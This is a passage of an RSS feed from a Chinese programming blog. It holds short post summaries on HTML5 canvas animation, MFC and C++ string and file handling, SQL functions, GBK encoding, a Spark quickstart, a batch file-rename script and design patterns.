      <description>HTML5正在变得越来越流行。在这个移动设备日益增长的时代，对来自Adobe的Flash插件的改造需求也正在快速增长。因为就在最近，Adobe宣布Flash将不再支持移动设备。这意味着，Adobe自身也认为对移动设备来讲HTML5是一项重要的技术。而桌面系统的改变也是迟早的事。&#xA;HTML的一大劣势就是对于多媒体技术支持的缺乏。在HTML中，你无法直接显示一个视频或在屏幕上绘画。在HTML5中，随着&amp;lt;video&amp;gt;与&amp;lt;canvas&amp;gt;元素的引进。这些元素给予开发者直接使用“纯粹的”HTML来实现多媒体技术的可能性——仅需要写一些Javascript代码来配合HTML。在多媒体技术中，有一个基本的技术应该被支持——动画。在HTML5中，有不少方式能够实现该功能。&#xA;在这篇文章中，我仅将最新的&amp;lt;canvas&amp;gt;元素与即将到来的CSS3动画技术进行比较。其他的可能性包括DOM元素或SVG元素的创建和动画。这些可能性将不在本文中进行讨论。从开始就应该注意到canvas技术在当前发布的大部分主流浏览器都给予了支持，而CSS3动画仅在最新的FireFox与Chrome浏览器中才有实现的可能，下一个版本的IE也将提供对CSS3动画的支持。（所以本文中所有演示代码的效果，在Win 7系统下当前最新版的Chrome浏览器中都可实现，但在其他操作系统与其他浏览器中，并不一定能看到所有演示代码的效果）。&#xA;这里我选择了一个比较简单的动画：&#xA;PS：由于显卡、录制的帧间隔，以及可能你电脑处理器的原因，播放过程可能有些不太流畅或者失真！&#xA;分三种方式实现：&#xA;(1) canvas元素结合JS&#xA;(2) 纯粹的CSS3动画（暂不被所有主流浏览器支持，比如IE）&#xA;(3) CSS3结合Jquery实现&#xA;知道如何使用CSS3动画比知道如何使用&amp;lt;canvas&amp;gt;元素更重要：因为浏览器能够优化那些元素的性能(通常是他们的样式，比如CSS)，而我们使用canvas自定义画出来的效果却不能被优化。原因又在于，浏览器使用的硬件主要取决于显卡的能力。目前，浏览器没有给予我们直接访问显卡的权力，比如，每一个绘画操作都不得不在浏览器中先调用某些函数。&#xA;让我们从Canvas开始&#xA;HTML代码：&#xA;&amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34; /&amp;gt; &amp;lt;title&amp;gt;Animation in HTML5 using the canvas element&amp;lt;/title&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body οnlοad=&#34;init();&#34;&amp;gt; &amp;lt;canvas id=&#34;canvas&#34; width=&#34;1000&#34; height=&#34;600&#34;&amp;gt;Your browser does not support the &amp;lt;code&amp;gt;&amp;lt;canvas&amp;gt;&amp;lt;/code&amp;gt;-element.Please think about updating your brower!&amp;lt;/canvas&amp;gt; &amp;lt;div id=&#34;controls&#34;&amp;gt; &amp;lt;button type=&#34;button&#34; οnclick=&#34;speed(-0.1);&#34;&amp;gt;Slower&amp;lt;/button&amp;gt; &amp;lt;button type=&#34;button&#34; οnclick=&#34;play(this);&#34;&amp;gt;Play&amp;lt;/button&amp;gt; &amp;lt;button type=&#34;button&#34; οnclick=&#34;speed(+0.1)&#34;&amp;gt;Faster&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; JS代码：&#xA;定义一些变量：&#xA;var dx=5,&#x9;//当前速率 rate=1,&#x9;//当前播放速度 ani,&#x9;//当前动画循环 c,&#x9;//画图(Canvas Context) w,&#x9;//汽车[隐藏的](Canvas Context) grassHeight=130,&#x9;//背景高度 carAlpha=0,&#x9;//轮胎的旋转角度 carX=-400,&#x9;//x轴方向上汽车的位置(将被改变) carY=300,&#x9;//y轴方向上汽车的位置(将保持为常量) carWidth=400,&#x9;//汽车的宽度 carHeight=130,&#x9;//汽车的高度 tiresDelta=15,&#x9;//从一个轮胎到最接近的汽车底盘的距离 axisDelta=20,&#x9;//汽车底部底盘的轴与轮胎的距离 radius=60;&#x9;//轮胎的半径 为了实例化汽车canvas(初始时被隐藏)，我们使用下面的自执行的匿名函数</description>
    </item>
    <item>
      <title>获得文件头编辑框中多行文本</title>
      <link>https://bchobby.github.io/posts/3e80c9477dd498764a4cdd3d4956c568/</link>
      <pubDate>Wed, 01 Feb 2012 11:32:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e80c9477dd498764a4cdd3d4956c568/</guid>
      <description>//获得文件头编辑框中多行文本 //文本行数 int nLineCount; //当前行 int nLine; //当前行的字符串长度 int nLength; //保存字符串 char szBuf[MAX_PATH];; nLineCount = -1; nLine = -1; nLength = -1; nLineCount = ((CEdit*)GetDlgItem(IDC_HEADER_EDIT))-&amp;gt;GetLineCount(); for (nLine = 0; nLine &amp;lt;nLineCount; nLine++) { nLength = ((CEdit*)GetDlgItem(IDC_HEADER_EDIT)) -&amp;gt;LineLength(((CEdit*)GetDlgItem(IDC_HEADER_EDIT))-&amp;gt;LineIndex(nLine)); ((CEdit*)GetDlgItem(IDC_HEADER_EDIT))-&amp;gt;GetLine(nLine,szBuf,MAX_PATH); szBuf[nLength]=&#39;\0&#39;; MessageBox(szBuf); } Edit编辑框需要设置一下属性：&#xA;Multiline 多行 TURE&#xA;Want Return 回车 TURE&#xA;Vertical Scroll 竖起滚动条 TRUE</description>
    </item>
    <item>
      <title>Mysql jar包bug: Unknown type &#39;14 in column 5 of 10 in binary-encoded</title>
      <link>https://bchobby.github.io/posts/86e284d712a485624c78cc53c0325d36/</link>
      <pubDate>Thu, 05 Jan 2012 13:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86e284d712a485624c78cc53c0325d36/</guid>
      <description>2012-01-05 11:34:17,638 ERROR [SummaryDaoImpl.java] -com.kargo.points.exception.KargoPointsException: ingetSummarysByTransactionDate error clause by :Unknown type &#39;14 in column 5 of10 in binary-encoded result set.&#xA;以上错误是由于Mysql-connector.jar本身有bug, http://bugs.mysql.com/bug.php?id=14609&#xA;解决方法：将原来的mysql-connector-java-5.0.4-bin.jar替换成mysql-connector-java-3.0.14-production-bin.jar</description>
    </item>
    <item>
      <title>SQL 中的LTRIM()和RTTIM(）的用法</title>
      <link>https://bchobby.github.io/posts/4b1eae791cc40288dc77e0c72edddd95/</link>
      <pubDate>Wed, 04 Jan 2012 10:28:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b1eae791cc40288dc77e0c72edddd95/</guid>
      <description>LTRIM删除起始空格后返回字符表达式。&#xA;语法&#xA;LTRIM ( character_expression )&#xA;参数&#xA;character_expression&#xA;是字符或二进制数据表达式。character_expression 可以是常量、变量或列。character_expression 必须是可以隐性转换为 varchar 的数据类型。否则，使用 CAST 显式转换 character_expression。&#xA;返回类型&#xA;varchar&#xA;注释&#xA;兼容级别可能影响返回值。有关兼容级别的更多信息，请参见 sp_dbcmptlevel。&#xA;示例&#xA;下例使用 LTRIM 字符删除字符变量中的起始空格。&#xA;DECLARE @string_to_trim varchar(60)SET @string_to_trim = &#39;&#39; Five spaces are at the beginning of this string.&#39;&#39;SELECT &#39;&#39;Here is the string without the leading spaces: &#39;&#39; + LTRIM(@string_to_trim)GO&#xA;下面是结果集：&#xA;------------------------------------------------------------------------Here is the string without the leading spaces: Five spaces are at the beginning of this string. (1 row(s) affected)</description>
    </item>
    <item>
      <title>Lotusscript代理调用正则表达式过滤掉&lt;html&gt;代码，获取notesRichTextItem内容信息的方法...</title>
      <link>https://bchobby.github.io/posts/9e5776f12eb982021220091f621c8674/</link>
      <pubDate>Wed, 04 Jan 2012 06:13:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9e5776f12eb982021220091f621c8674/</guid>
      <description>前段时间用lotus写了个内容发布系统，使用notesRichTextItem保存内容。首页有个栏目块需要抽取文章的摘要信息（也就前多少个字符），手动输入的内容没问题，可以正常抽取；可是用户有时候在文档的前面插了个图片，或是从Word、网页上复制下来的信息贴进去保存之后，notesRichTextItem里面的内容就会带有&amp;lt;html&amp;gt;代码格式，抽取数据时数据、格式的问题就来了，晕啊。 在网上找到一个解决办法，就是在Lotusscript代理中调用正则将得到的内容先替换，然后再截取内容片断。&#xA;具体代码如下（用于window平台）：&#xA;Class RegExp &#39; RegExp -- use VBScript RegExp object to provide regular expressions &#39; 2004-06-03 David Phillips, rfdinc.com First version. Public matches As Variant Public oRegExp As Variant &#39; VBScript RegExp properties Public Pattern As String Public IgnoreCase As Boolean &#39; default = False Public Global As Boolean &#39; default = False Sub new () Set oRegExp = CreateObject (&#34;VBScript.RegExp&#34;)&#xA;End Sub Public Function Match (source As String, pattern As String) As Boolean &#39; RegEx.</description>
    </item>
    <item>
      <title>memcpy()详解</title>
      <link>https://bchobby.github.io/posts/ca94fd1affa7e3fdf551be9dbbca81e6/</link>
      <pubDate>Wed, 28 Dec 2011 15:21:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca94fd1affa7e3fdf551be9dbbca81e6/</guid>
      <description>相关函数: bcopy(), memccpy(), memmove(), strcpy(), strncpy() 表头文件: #include &amp;lt;string.h&amp;gt; 定义函数: void *memcpy(void *dest, const void *src, size_t n) 函数说明: memcpy()用来拷贝src所指的内存内容前n个字节到dest所指的内存地址上。与strcpy()不同的是,memcpy()会完整的复制n个字节,不会因为遇到字符串结束&#39;\0&#39;而结束 返回值: 返回指向dest的指针 附加说明: 指针src和dest所指的内存区域不可重叠 ------------------------------------------------------- #include &amp;lt;string.h&amp;gt; #include &amp;lt;stdio.h&amp;gt; int main() { char a[30] = &#34;string (a)&#34;; char b[30] = &#34;hi\0zengxiaolong&#34;; int i; strcpy(a, b); //a[30] = &#34;hi\0ing (a)&#34; printf(&#34;strcpy():&#34;); for(i = 0; i &amp;lt; 30; i++) printf(&#34;%c&#34;, a[i]); //hi ing (a) memcpy(a, b, 30); //a[30] = &#34;hi\0zengxiaolong&#34; printf(&#34;\nmemcpy():&#34;); for(i = 0; i &amp;lt; 30; i++) printf(&#34;</description>
    </item>
    <item>
      <title>Spark快速入门指南</title>
      <link>https://bchobby.github.io/posts/746fdb667134e1316839a2429240b885/</link>
      <pubDate>Sat, 24 Dec 2011 23:34:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/746fdb667134e1316839a2429240b885/</guid>
      <description>- Spark是什么？ Spark is a MapReduce-like cluster computing framework designed to support low-latency iterative jobs and interactive use from an interpreter. It is written in Scala, a high-level language for the JVM, and exposes a clean language-integrated syntax that makes it easy to write parallel jobs. Spark runs on top of the Mesos cluster manager. - Spark下载地址？ git clone git://github.com/mesos/spark.git - Spark编译与运行？ 1）scala 2.9 +（将bin添加到PATH中或者设定了SCALA_HOME环境变量） 2) spark支持local模式和cluster模式, local不需要安装mesos 3) 如果需要将spark运行在cluster上，需要安装mesos 4）使用spark自带的sbt编译/打包： sbt/sbt compile, sbt/sbt assembly 5）使用spark自带的run脚本运行spark程序 - 验证spark环境是否OK?</description>
    </item>
    <item>
      <title>关于对话框DoModal()函数调用失败的原因分析</title>
      <link>https://bchobby.github.io/posts/bbd0fec8bbf9c40c60d585b15550f9a7/</link>
      <pubDate>Wed, 21 Dec 2011 10:09:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bbd0fec8bbf9c40c60d585b15550f9a7/</guid>
      <description> 对话框DoModal()函数调用失败一般而言有两种表现形式：一是对话框弹不出来，但是没有错误提示；二是对话框弹不出来，同时伴随内存访问错误的提示框出现。 第一种表现主要是因为没有对资源句柄进行切换造成的，以在DLL中弹出对话框中最为常见。解决办法是：如果是MFC规则DLL，可以使用所有导出函数的开始处添加 AFX_MANAGE_STATE宏，具体代码为：AFX_MANAGE_STATE(AfxGetStaticModuleState( ))，如果是MFC扩展DLL，具体做法是： 1. 在DLL中定义两个全局变量， HINSTANCE hResOld; // 旧的资源句柄 HINSTANCE hDll; // DLL资源句柄 2. 在DllMain函数里初始化hDll hDll = hInstance; 3. 在调用对话框DoModal()函数之前进行资源句柄切换 HINSTANCE hResOld = AfxGetResourceHandle(); AfxSetResourceHandle(hDll); …… CYourDlg dlg; dlg.DoModal(); …… AfxSetResourceHandle(hResOld); 若是第二种表现，即对话框弹不出来，同时伴随内存访问错误的提示框出现，那么问题很可能出现在初始化对话框界面的代码方面，具体是在OnInitDialog函数，即使它是在DLL中弹出对话框。事实上在在DLL中弹出对话框如果不进行资源句柄切换，顶多是弹不出对话框，并不会出现内存访问方面的错误。在解决这方面的错误，一个误区是单步进入DoModal()函数调试，直至定位DoModal函数内部哪一句出错。后来我发现这纯粹是浪费时间，就算定位了在DoModal函数内部哪一句出错，你依然不知道为什么会出错。实际上调用DoModal()函数，激发的却是OnInitDialog函数。因此你只需确定OnInitDialog函数哪一句出错了（这里的OnInitDialog函数是指派生对话框类的OnInitDialog函数）。 </description>
    </item>
    <item>
      <title>SQL语句实现定制化查询</title>
      <link>https://bchobby.github.io/posts/486e97ff9ee873dad89f68bc4262beb5/</link>
      <pubDate>Sun, 18 Dec 2011 22:14:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/486e97ff9ee873dad89f68bc4262beb5/</guid>
      <description>最近在看一本讲技术的书，讲到sql时，有一个比较有趣的例子，在数据库中的material表存储格式如下，mclass是材料类型，mdosage是材料用量&#xA;Id mclass mdosage&#xA;1 A 66&#xA;2 B 56&#xA;3 C 46&#xA;4 D 36&#xA;5 E 26&#xA;现在想查询出如下形式的结果&#xA;Id A B C D E 1 66 2 56 3 46 4 36 5 26&#xA;在sqlserver中可以利用case语句来实现上述的效果，代码如下&#xA;select id,&#xA;case mclass when &#39;A&#39; then cast(mdosage as varchar) else &#39; &#39; end as &#39;A&#39;,&#xA;case mclass when &#39;B&#39; then cast(mdosage as varchar) else &#39; &#39; end as &#39;B &#39;,&#xA;case mclass when &#39;C&#39; then cast(mdosage as varchar) else &#39; &#39; end as &#39;C &#39;,</description>
    </item>
    <item>
      <title>GBK编码表</title>
      <link>https://bchobby.github.io/posts/3c4d73ed55170312dddba1b3d9f886a3/</link>
      <pubDate>Sun, 11 Dec 2011 01:30:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c4d73ed55170312dddba1b3d9f886a3/</guid>
      <description>GBK编码表&#xA;全国信息技术标准化技术委员会 汉字内码扩展规范(GBK) Chinese Internal Code Specification&#xA;来源：http://blog.sina.com.cn/s/blog_677f52210100o0oq.html&#xA;GBK编码表&#xA;基本简介　GB码，全称是GB2312-80《信息交换用汉字编码字符集基本集》，1980年发布，是中文信息处理的国家标准，在大陆及海外使用简体中文的地区（如新加坡等）是强制使用的唯一中文编码。P-Windows3.2和苹果OS就是以GB2312为基本汉字编码，Windows95/98则以GBK为基本汉字编码、但兼容支持GB2312。GB码共收录6763个简体汉字、682个符号，其中汉字部分：一级字3755，以拼音排序，二级字3008，以偏旁排序。该标准的制定和应用为规范、推动中文信息化进程起了很大作用。&#xA;GBK编码是中国大陆制订的、等同于UCS的新的中文编码扩展国家标准。GBK工作小组于1995年10月，同年12月完成GBK规范。该编码标准兼容GB2312，共收录汉字21003个、符号883个，并提供1894个造字码位，简、繁体字融于一库。&#xA;读者指正&#xA;这个编码表，不是GBK编码表，而是GB2312编码表……而且还不包含符号部分，只能称作“GB2312汉字编码表”……&#xA;就现在来看GB2312-80不是大陆强制使用的唯一标准（这句话在十年前是对的）……当前国家强制使用的编码是GB18030-2000（2001年的1月正式强制执行）……GB18030俗称GBK 2.0，有两个版本GB18030-2000和GB18030-2005，GB18030-2005不强制……&#xA;●GB2312与GBK的区别&#xA;・GB2312 ：前面的一个字节（高字节）从0xA1用到 0xF7，后面一个字节（低字节）从0xA1到0xFE，这样就可以组合出大约7000多个简体汉字了&#xA;・GBK： 不再要求低字节一定是127号之后的内码，只要第一个字节是大于127就固定表示这是一个汉字的开始，&#xA;GBK 包括了 GB2312 的所有内容，同时又增加了近20000个新的汉字（包括繁体字）和符号。&#xA;---&#xA;https://blog.csdn.net/sxzlc/article/details/106203495&#xA;---&#xA;https://blog.csdn.net/sxzlc/article/details/106084402&#xA;天 低字节是EC&#xA;CC EC&#xA;---&#xA;这个是GB2312编码表，可以看到，低字节都是从A1开始的。&#xA;B0 ０ １ ２ ３ ４ ５ ６ ７ ８ ９ Ａ Ｂ Ｃ Ｄ Ｅ Ｆ&#xA;Ａ 啊 阿 埃 挨 哎 唉 哀 皑 癌 蔼 矮 艾 碍 爱 隘</description>
    </item>
    <item>
      <title>Eclipse 自动补全快捷键失效使用Eclipse</title>
      <link>https://bchobby.github.io/posts/4b891c186eab4194672bb492f0bcec22/</link>
      <pubDate>Mon, 05 Dec 2011 10:32:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b891c186eab4194672bb492f0bcec22/</guid>
      <description> 使用Eclipse，输入sysout，使用快捷键Alt+/进行代码自动补齐突然没有反应，修复方法如下。 1.选择Eclipse菜单栏中的Window-&amp;gt;preferences； 2.选择General-&amp;gt;keys; 3.在右侧中间的窗体中点击word completion后再点击remove binding,在下方的binding中随便（例如&#34;Alt+.&#34;）输入一个快捷键； 4.然后选择Content Assist点击Remove binding，在binding中输入Alt+/； 5.点击Ok就可以了。 </description>
    </item>
    <item>
      <title>Visio中如何画聚合关系</title>
      <link>https://bchobby.github.io/posts/9ccf4edce5b692036f979b6a54f4dda3/</link>
      <pubDate>Tue, 29 Nov 2011 17:13:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9ccf4edce5b692036f979b6a54f4dda3/</guid>
      <description>1. 先拖一条复合组件进来。&#xA;2. 双击复合组件。&#xA;3. 点击关联端下面的属性按钮&#xA;4. 在聚合里选择“共享”&#xA;聚合关系就出来了~</description>
    </item>
    <item>
      <title>[Android实例] 48个android程序源码贡献！！！值得收藏！！！</title>
      <link>https://bchobby.github.io/posts/e411aed6b5ed974f45fc50e97f04c8c0/</link>
      <pubDate>Fri, 25 Nov 2011 10:05:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e411aed6b5ed974f45fc50e97f04c8c0/</guid>
      <description>Android PDF 阅读器 http://sourceforge.net/projects/andpdf/files/ 个人记账工具 OnMyMeans http://sourceforge.net/projects/onmymeans/develop Android电池监控 Android Battery Dog http://sourceforge.net/projects/andbatdog/ RSS阅读软件 Android RSS http://code.google.com/p/android-rss/ Android的PDF阅读器 DroidReader http://code.google.com/p/droidreader/ Android Scripting Environment http://code.google.com/p/android-scripting/ Android小游戏 Android Shapes http://sourceforge.net/projects/shapes/ Android JSON RPC http://code.google.com/p/android-json-rpc/ Android VNC http://code.google.com/p/android-vnc/ 魅族M8的Android移植 M8 Android http://code.google.com/p/m8-android-kernel/ Android 游戏 Amazed http://code.google.com/p/apps-for-android/ Android的社交网络 HelloWorld goes mobile http://sourceforge.net/projects/helloworldgm/ 手机聊天程序 Android jChat http://code.google.com/p/jchat4android/ Android的GPS轨迹记录 MyTracks http://code.google.com/p/mytracks/ Android国际象棋游戏 Honzovy achy http://sourceforge.net/projects/honzovysachy/ Android旅行记录软件 AndTripLog http://sourceforge.net/projects/andtriplog/ 音乐播放器 Ambient http://sourceforge.net/projects/ambientmp/ Android的邮件客户端 K9mail http://code.google.com/p/k9mail/ 多平台应用开发库 QuickConnect http://sourceforge.</description>
    </item>
    <item>
      <title>CFile写入中文，正常显示并换行</title>
      <link>https://bchobby.github.io/posts/3616ff7dfd1456215948e1e896c06749/</link>
      <pubDate>Thu, 24 Nov 2011 13:51:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3616ff7dfd1456215948e1e896c06749/</guid>
      <description>CFile 正常写入中文&#xA;CFile myFile; BOOL isopen=myFile.Open(filename, CFile::modeReadWrite|CFile::modeCreate | CFile::typeBinary|CFile::shareDenyNone); if(!isopen) AfxMessageBox(&#34;不能打开文件!&#34;); CFile myFile(); CString EditContent; m_EditText-&amp;gt;GetWindowText(EditContent); LPCTSTR str = EditContent.GetBuffer( EditContent.GetLength()); myFile.Write(str,EditContent.GetLength()*sizeof(CHAR)); myFile.Close(); 例子： //Exception Handling //打开文件是一件可能产生许多exception的动作 #include &amp;lt;afx.h&amp;gt; #include &amp;lt;iostream.h&amp;gt; int main(){ CString str1=&#34;中国人\r\n&#34;; LPCTSTR s1=str1.GetBuffer(str1.GetLength()); CString str2=&#34;你好吗\r\n&#34;; LPCTSTR s2=str2.GetBuffer(str2.GetLength()); CString str3=&#34;自强不息方能成事\r\n&#34;; LPCTSTR s3=str3.GetBuffer(str3.GetLength()); TRY { CFile file(&#34;hello.txt&#34;,CFile::modeCreate|CFile::modeWrite|CFile::typeBinary); file.Write(s1,str1.GetLength()*sizeof(CHAR)); file.Write(s2,str2.GetLength()*sizeof(CHAR)); file.Write(s3,str3.GetLength()*sizeof(CHAR)); file.Close(); } CATCH (CFileException, e) { switch (e-&amp;gt;m_cause) { case CFileException::accessDenied: TRACE(&#34;File Access Denied\n&#34;); break; case CFileException::badPath: TRACE(&#34;</description>
    </item>
    <item>
      <title>VC Double类型显示两位小数</title>
      <link>https://bchobby.github.io/posts/624ca5a4be8c56042a68bce3793f3bd2/</link>
      <pubDate>Wed, 23 Nov 2011 16:10:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/624ca5a4be8c56042a68bce3793f3bd2/</guid>
      <description>&#34;%.1f&#34; double数据只显示一位小数 &#34;%.2f&#34; double数据只显示两位小数&#xA;Large=((m_a*(2-0.33))/m_z2);&#xA;Small=((m_a*(2-0.38))/m_z2);&#xA;if (Large&amp;lt;m_mt || Small&amp;gt;m_mt)&#xA;{&#xA;str.Format(_T(&#34;输入范围为（%.2f~%.2f），请重新输入！&#34;),Small,Large);&#xA;MessageBox(str);&#xA;}&#xA;//控制小数点后位数&#xA;inline double roundingup(double number,double digit)&#xA;{&#xA;double k = pow(10.0,digit);&#xA;double f = number * k;&#xA;f = f &amp;gt; 0.0 ? floor(f+0.5) : ceil(f-0.5);&#xA;f /= k;&#xA;return f;&#xA;}&#xA;//测试代码：&#xA;int main(int argc, char* argv[])&#xA;{&#xA;cout &amp;lt;&amp;lt; roundingup(10.123,2.0) &amp;lt;&amp;lt; endl;;&#xA;return 0;&#xA;}&#xA;需要包含#include &amp;lt;cmath&amp;gt;头文件&#xA;编译环境 VS2010</description>
    </item>
    <item>
      <title>批处理文件＆多文件改名</title>
      <link>https://bchobby.github.io/posts/b37d5fd570aa1348d9ef1c15075519ee/</link>
      <pubDate>Mon, 21 Nov 2011 09:10:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b37d5fd570aa1348d9ef1c15075519ee/</guid>
      <description>::不懂 查 eho /? -&amp;gt; 为解答 ::行注释 还有可能会被当成命令 进行检查的，大家注意第12行 :: for之中不要写注释，不然运行的时候会出错 @echo off ::ver beat1.0[20111120] setlocal enabledelayedexpansion ::-&amp;gt;变量延迟 mode con lines=26 ::-&amp;gt;设置窗口大小 color 1f for /f &#34;delims=&#34; %%i in (&#34;%0&#34;) do ( set cdname=%%~dpi ) ::delims是关键字,拆分用怎么用?这里的dpi是什么意思?? -&amp;gt; % ~dpI (这里要加空格不然注释被当成命令了) -&amp;gt;仅将%I扩充到一个驱动器号和路径 这句注释不能写 :star cls title 批量文件改名 ::作用是什么 汇编中的标题作用?-&amp;gt;显示到标题框的地方 echo. :: 这里的 echo. 又是什么意思?是打一空行?对相当于 回车 。在批处理命令中有，使原本在屏幕下方显示的提示画面，出现在屏幕上方。??? echo ============================================================== echo. echo 批量文件改名 测试版 echo. echo 欢迎使用,请选择选项(1,2,3,4,5,6,7,8) echo. echo 1.简单改名 echo 2.剔除字符 echo 3.</description>
    </item>
    <item>
      <title>动态创建CEdit类对象</title>
      <link>https://bchobby.github.io/posts/0862304b5fd3d59276ae02aca4ee0ec2/</link>
      <pubDate>Thu, 17 Nov 2011 16:21:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0862304b5fd3d59276ae02aca4ee0ec2/</guid>
      <description>//this 为parent窗口的指针&#xA;//pEdt为类的成员变量，类型为CEdit*，在构造函数中初始化为NULL&#xA;// m_EdtCreated为类的成员变量，类型为BOLL，在构造函数中初始化为FALSE&#xA;if (!m_EdtCreated){&#xA;//为第三个编辑区添加编辑控件&#xA;pEdt=new CEdit;&#xA;pEdt-&amp;gt;Create(ES_MULTILINE|WS_CHILD|WS_VISIBLE|WS_TABSTOP|WS_BORDER,CRect(0,301,250,800),this,1);&#xA;m_EdtCreated=TRUE;&#xA;}</description>
    </item>
    <item>
      <title>viewdidload viewload init 等简单解释</title>
      <link>https://bchobby.github.io/posts/6b799d27445f86f0a1116f52af0990e5/</link>
      <pubDate>Tue, 15 Nov 2011 17:14:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b799d27445f86f0a1116f52af0990e5/</guid>
      <description>当一个view载入时 往往会调用这些函数 init:方法&#xA;在init方法中实例化必要的对象（遵从LazyLoad思想）&#xA;init方法中初始化ViewController本身&#xA;loadView:方法&#xA;loadView 此方法在控制器的view为nil的时候被调用&#xA;没有通过调用xib的时候，一般适合手动实现代码&#xA;viewDidLoad:方法&#xA;viewDidLoad 不论是从xib中加载视图，还是从loadview生成视图，都会被调用。 现在3.0以后大家一般习惯在viewdidload里面初始化界面&#xA;详解：&#xA;如果是在代码中创建的视图加载器，他将会在loadView方法后被调用；&#xA;如果是从nib视图页面输出，他将会在视图设置好后后被调用。&#xA;viewDidUnload:方法&#xA;当系统内存吃紧的时候会调用该方法（注：viewController没有被dealloc）&#xA;内存吃紧时，在iPhone OS 3.0之前didReceiveMemoryWarning是释放无用内存的唯一方式，但是OS 3.0及以后viewDidUnload方法是更好的方式&#xA;在该方法中将所有IBOutlet（无论是property还是实例变量）置为nil（系统release view时已经将其release掉了）&#xA;一般认为viewDidUnload是viewDidLoad的镜像，因为当view被重新请求时，viewDidLoad还会重新被执行&#xA;dealloc:方法&#xA;viewDidUnload和dealloc方法没有关联，dealloc还是继续做它该做的事情（不用多说）&#xA;viewWillAppear: 方法&#xA;Called when the view is about to made visible. Default does nothing&#xA;视图即将可见时调用。默认情况下不执行任何操作&#xA;viewDidAppear: Called when the view has been fully transitioned onto the screen. Default does nothing&#xA;视图已完全过渡到屏幕上时调用&#xA;viewWillDisappear:&#xA;Called when the view is dismissed, covered or otherwise hidden. Default does nothing</description>
    </item>
    <item>
      <title>CString,int,string,char*之间的转换</title>
      <link>https://bchobby.github.io/posts/cce6467f6cb55b461159a5ce4699feba/</link>
      <pubDate>Tue, 15 Nov 2011 14:41:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cce6467f6cb55b461159a5ce4699feba/</guid>
      <description>vs2010 中 MFC::CString 如何和int相互转化&#xA;CString ----&amp;gt;int&#xA;CString str = _T(&#34;123&#34;); int i = _ttoi(str);&#xA;int ----&amp;gt;CString =============== int i = 123; CString str ; str.Format(_T(&#34;%d&#34;), i);&#xA;CString 转换成 int float --VS2010，UNICODE下&#xA;float percentageFill,percentageFill_1,percentageFill_2;&#xA;int a1,a2,a3,a4;&#xA;a1 = (float)_ttoi(strVarTest);&#xA;a2 = (float)_ttoi(strVarST);&#xA;a3 = (float)_ttoi(strVarSP);&#xA;a4 = (float)_ttoi(strVarST);&#xA;用atoi，可以通过，但是strA = L&#34;100&#34;,atoi(strA);的转换结果是1,显示错误。所以用上面的方法。&#xA;VC6.0中转换，不能保证vs2010中同样凑效。&#xA;1 CString,int,string,char*之间的转换&#xA;string 转 CString&#xA;CString.format(&#34;%s&#34;, string.c_str());&#xA;char 转 CString&#xA;CString.format(&#34;%s&#34;, char*);&#xA;char 转 string&#xA;string s(char *);</description>
    </item>
    <item>
      <title>设计模式之——生产者模式（Builder）和原型模式（Prototype）</title>
      <link>https://bchobby.github.io/posts/beb83f0b77b4cebb62fc849e494c3532/</link>
      <pubDate>Sat, 12 Nov 2011 17:34:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/beb83f0b77b4cebb62fc849e494c3532/</guid>
      <description>在创建型模式里面还有两个就是builder 和 prototype&#xA;1 生成器模式&#xA;生成者模式和工厂模式有点像，都是封装了创建对象的过程，创建出对象，但builder模式强调一步步创建，不同的输入参数，同样的创建过程而创建出不同的对象，在builder里面，对象一般是比较复杂并由很多对象组成的，每一步创建出其中的一部分；另外创建者模式不像工厂模式一样直接返回对象，而是提供一个接口来得到对象。其类关系图如下&#xA;其中Director提供一个调用Builder里面各个BuildX的函数，创建出Product对象，但并不直接返回，而是调用Builder类里面的GetProduct函数返回对象。另外，Director虽然调用BuildeX的顺序一样，但是具体的ConcreteBuilder不一样，创建出来的对象是不一样的。&#xA;2 原型模式（prototype）&#xA;原型模式其实很简单，那就是提供接口，克隆一个和自己一样的对象。其类关系图如下&#xA;其实在C++里面，这个功能可以通过拷贝构造函数或重载赋值运算符来实现</description>
    </item>
    <item>
      <title>软件开发过程包括哪几个阶段？</title>
      <link>https://bchobby.github.io/posts/38945b8d740683c380025f59a45d0d0e/</link>
      <pubDate>Tue, 08 Nov 2011 10:36:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38945b8d740683c380025f59a45d0d0e/</guid>
